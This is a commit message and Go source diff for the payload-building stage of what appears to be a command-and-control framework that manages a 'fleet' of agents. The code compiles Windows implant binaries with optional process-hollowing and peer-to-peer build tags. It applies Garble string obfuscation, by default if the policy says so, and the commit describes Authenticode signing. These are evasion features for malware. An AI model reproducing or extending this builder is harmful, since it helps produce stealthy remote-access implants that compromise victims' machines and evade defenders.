Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.

server/internal/builder/compile.go

@@ -0,0 +1,62 @@
+package builder
+
+import (
+	"fmt"
+	"log"
+	"os"
+	"os/exec"
+	"strings"
+)
+
+func (h *Handler) buildTagsFor(req *BuildRequest) []string {
+	var tags []string
+	if req.ProcessHollowing {
+		tags = append(tags, "hollow")
+	}
+	if req.MeshP2P {
+		tags = append(tags, "p2p")
+	}
+	return tags
+}
+
+func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
+	if req.Obfuscate {
+		return true
+	}
+	return h.policy.DefaultObfuscate
+}
+
+func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
+	env := append(os.Environ(),
+		"GOOS=windows",
+		"GOARCH=amd64",
+		"CGO_ENABLED=0",
+	)
+
+	buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
+	if len(tags) > 0 {
+		buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
+	}
+	buildArgs = append(buildArgs, ".")
+
+	useGarble := obfuscate && h.garblePath != ""
+	if obfuscate && !useGarble {
+		log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
+	}
+
+	var cmd *exec.Cmd
+	if useGarble {
+		garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
+		cmd = exec.Command(h.garblePath, garbleArgs...)
+	} else {
+		cmd = exec.Command(h.goBinPath, buildArgs...)
+	}
+	cmd.Dir = dir
+	cmd.Env = env
+
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
+	}
+	return out, nil
+}